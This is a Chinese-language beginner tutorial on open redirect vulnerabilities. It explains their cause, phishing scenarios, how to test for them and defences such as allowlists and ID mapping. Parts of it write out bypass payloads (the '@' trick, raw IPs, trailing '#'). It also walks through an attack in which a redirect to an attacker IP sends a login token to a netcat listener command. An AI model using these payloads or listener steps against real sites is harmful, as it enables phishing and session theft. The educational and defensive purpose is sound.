往期文章
【Web安全】一次性搞懂 ReDOS 漏洞原理/检测/防御
【Web安全】一次性搞懂 XSS 漏洞原理/检测/防御
【Web安全】一次性搞懂 CSRF 漏洞原理/检测/防御
【Web安全】一次性搞懂 SSRF 漏洞原理/检测/防御
【Web安全】一次性搞懂越权漏洞原理/检测/防御
【Web安全】逻辑漏洞之支付漏洞:原理、场景与防御
【Web安全】小白也能懂的并发漏洞:原理、场景与防御
在Web安全的逻辑漏洞里,URL跳转漏洞可能不像支付漏洞那样直接关联金钱,但它却像一个“恶意导航员”,能悄无声息地把用户引向钓鱼网站、病毒页面,进而导致账号被盗、信息泄露等问题。
简单说,当你点击一个“安全链接”,本应跳转到官方网站,结果却跳到了骗子仿造的假网站——这背后可能就是URL跳转漏洞在搞鬼。它的危害不在于复杂的技术,而在于利用用户对“正规网站”的信任,完成钓鱼、诈骗等攻击。
URL跳转漏洞的核心是服务器对“跳转目标URL”的校验逻辑失效。
正常情况下,网站的跳转功能(比如登录后跳回原页面、点击链接跳转到相关页面)需要先检查“要跳转到的URL”是否合法(比如是否属于官方域名、是否在允许的范围内);但如果存在漏洞,服务器可能直接信任用户传来的跳转地址,或者校验时偷懒(比如只检查开头几个字符),导致攻击者可以随意修改跳转目标,把用户“骗”到恶意网站。
一句话总结:“该拦的坏链接没拦住,该验证的地址没验证”。
https://xxx.com/login?redirect=https://xxx.com/home
);redirect
参数里的URL是否合法(比如是否属于xxx.com
域名);redirect
、url
、jump
等);https://xxx.com/login?redirect=https://hack.com/fake
);URL跳转漏洞的攻击,关键是在**“生成跳转链接”的环节篡改参数**。
比如这些场景:
redirect
参数,用于登录后跳回原页面(例:https://xxx.com/login?redirect=https://xxx.com/user
);logoutUrl
参数,用于退出后跳转到首页(例:https://xxx.com/logout?logoutUrl=https://xxx.com/index
);url
参数,用于跳转到目标页面(例:https://xxx.com/share?url=https://xxx.com/article
)。攻击者会用抓包工具(比如BurpSuite工具)抓住这些包含跳转参数的请求,把里面的合法URL改成恶意地址,再发给用户。
URL跳转漏洞的危害主要是“诱导用户访问恶意网站”,常见场景有这些:
很多网站登录后会自动跳回用户之前浏览的页面,比如https://xxx.com/login?redirect=https://xxx.com/cart
(登录后跳购物车)。
如果有漏洞,攻击者可以把redirect
改成恶意地址(比如https://hack.com/fake-login
),然后把链接伪装成“官方登录页”发给用户。用户点击后,先正常登录官方网站,接着被自动跳转到假登录页——由于假页面长得和官方一样,用户可能会再次输入账号密码,导致信息被黑客盗取。
退出登录时,网站可能会跳转到首页,参数类似https://xxx.com/logout?redirectUrl=https://xxx.com/index
。
攻击者篡改后,链接变成https://xxx.com/logout?redirectUrl=https://hack.com/fake-home
。用户退出后,会被跳转到假首页,假页面可能会弹窗“账号异常,请重新登录”,诱导用户输入信息。
比如某论坛的“分享到微博”功能,链接可能是https://xxx.com/share?url=https://weibo.com
。
攻击者篡改后,分享链接变成https://xxx.com/share?url=https://hack.com/virus
。当其他用户点击“分享”时,会直接跳转到带病毒的页面。
有些网站重置密码后,会跳转回登录页,参数比如https://xxx.com/reset-password?jump=https://xxx.com/login
。
攻击者篡改后,用户重置密码成功后,会被跳转到假的“安全中心”,骗取银行卡信息等。
即使是安全小白,也能通过简单步骤测试是否存在URL跳转漏洞,核心是“找参数、改地址、测跳转”。
先在网站上找包含“跳转”功能的地方,看看链接里有没有类似这些参数:
redirect
(最常见,比如登录后跳转)url
(比如点击链接跳转)jump
(比如按钮跳转)target
(比如页面内跳转)例:在登录页看到链接https://xxx.com/login?redirect=https://xxx.com/home
,这里的redirect
就是要测试的参数。
把参数里的合法地址换成自己能控制的地址(比如自己的博客、团队官网,别用baidu.com
这类常见域名,很多网站会拉黑它们),然后访问修改后的链接,看是否会跳转过去。
例:把redirect=https://xxx.com/home
改成redirect=https://myblog.com/test
,如果能成功跳转到myblog.com
,说明可能有漏洞。
如果直接改域名被拦截(比如提示“不允许跳转外部链接”),可以试试这些小技巧:
@
符号:比如https://xxx.com/login?redirect=https://[email protected]
(网站可能只校验@
前面的xxx.com
,实际跳转到myblog.com
);myblog.com
换成它的IP地址(1.2.3.4
),有些网站只拦域名不拦IP;/
或#
(https://myblog.com/#
),可能绕过简单校验。这里绕过的更多操作可以参考:SSRF漏洞中的URL绕过的 3.3 章节。
最常见的危害是钓鱼攻击:如今AI来造一个高仿的假页面已经很难从肉眼分辨出来了。
此外,还可能导致:
为了让安全小白更直观理解 URL 跳转漏洞的危害,我们结合具体场景拆解:黑客如何利用漏洞,一步步获取用户的敏感信息。
场景背景
假设aaa.bb.com
是一个正规网站(比如某购物平台),用户需要登录才能使用功能;aaa.cc.com
是该网站的关联域名(比如官方帮助中心)。正常情况下,登录后会自动跳转到用户需要访问的页面。
https://aaa.bb.com/login?redirectUrl=aaa.cc.com
redirectUrl
参数表示:登录成功后,自动跳转到aaa.cc.com
(比如用户原本在浏览帮助中心,点击 “登录” 后,登录成功会跳回帮助中心)。redirectUrl
参数中的aaa.cc.com
是否为可信域名(比如属于官方允许的跳转范围);aaa.cc.com
,同时浏览器会记录登录状态(比如生成一个临时凭证req=qweasdzxc123
,用于证明 “已登录”)。整个过程中,用户始终在官方信任的域名内跳转,信息是安全的。
黑客发现aaa.bb.com
的登录页存在 URL 跳转漏洞 ——服务器没有校验redirectUrl
参数,或者用了容易绕过的校验方式(比如只检查域名开头,不检查完整地址)。
于是,黑客做了两件事:
redirectUrl
换成自己控制的服务器地址11.2.12.4:8080
(这是黑客电脑的 IP 和端口,用于监听用户信息),链接变成:https://aaa.bb.com/login?url=11.2.12.4:8080
(这里的url参数和redirectUrl
作用一样,都是控制跳转目标)。aaa.bb.com
,会认为是正规网站,放松警惕)。用户点击了黑客发的恶意链接https://aaa.bb.com/login?url=11.2.12.4:8080
,接下来的流程对用户来说 “看似正常”,但实际上已陷入陷阱:
aaa.bb.com
的登录页输入账号密码(因为页面确实是正规网站的登录界面,用户不会怀疑);11.2.12.4:8080
(黑客的服务器);req=qweasdzxc123
)跳转到黑客服务器 —— 这个凭证相当于 “已登录的通行证”,能证明用户在aaa.bb.com
上的登录状态;nc -lvvp 11.2.12.4:8080
,这行命令的作用是 “打开 8080 端口,等待并记录所有连接过来的信息”);11.2.12.4:8080
时,黑客的监听工具会捕获到用户的登录凭证req=qweasdzxc123
。登录凭证req=qweasdzxc123
是用户在aaa.bb.com
上的 “身份令牌”,黑客拿到后可以:
aaa.bb.com
(无需登录密码),查看用户的个人信息(姓名、电话、地址等);aaa.bb.com
绑定了银行卡、支付账号,甚至可能导致财产损失。很多小白会把URL跳转漏洞和SSRF漏洞搞混,其实它们的“攻击对象”完全不同:
区别 | URL跳转漏洞 | SSRF漏洞 |
---|---|---|
受害者 | 普通用户(客户端) | 服务器(网站后台) |
行为 | 诱导用户跳转到恶意网站 | 诱导服务器主动请求恶意地址 |
例子 | 你点了一个链接,从官网跳到假网站 | 黑客让淘宝服务器主动去访问他的恶意服务器 |
核心原则:不要相信用户传来的任何跳转地址,服务器自己把控跳转目标。
服务器只允许跳转到提前设定好的合法域名(比如官网的域名xxx.com
、合作网站域名),其他地址一律拒绝。
例:如果网站只允许跳转到xxx.com
和partner.com
,那么当redirect
参数是myblog.com
时,直接拦截,不执行跳转。
不直接在参数里写跳转地址,而是给每个合法地址编一个号,参数只传编号。
例:用redirect=1
代表跳转到xxx.com/home
,redirect=2
代表跳转到xxx.com/cart
。服务器收到编号后,自己去查对应的合法地址,再执行跳转。这样攻击者改编号也没用(不知道哪个编号对应哪个地址)。
如果网站不需要跳转到外部域名,就明确规定:只能在自己的域名内跳转(比如xxx.com
下的页面),一旦发现跳转地址包含其他域名,直接拦截。
在跳转前,给用户一个提示:“即将跳转到xxx网站,是否继续?”让用户有机会发现异常(比如看到要跳转到陌生网站,就取消操作)。
URL跳转漏洞的本质,是服务器对“跳转地址”的校验太松懈,让攻击者有机可乘。它不像支付漏洞那样直接影响金钱,但却能通过钓鱼等方式间接危害用户的信息和财产安全。
对于普通用户:点击链接后,如果发现跳转的页面和预期不符(比如突然出现陌生登录框),一定要提高警惕,别轻易输入信息。
对于开发者:记住“客户端传来的跳转地址都不可信”,用白名单、编号映射等方法,让服务器牢牢控制跳转目标。只有这样,才能挡住那些“恶意导航员”。
本文是「Web安全基础」系列的第 8 篇,点击专栏导航查看全部系列内容。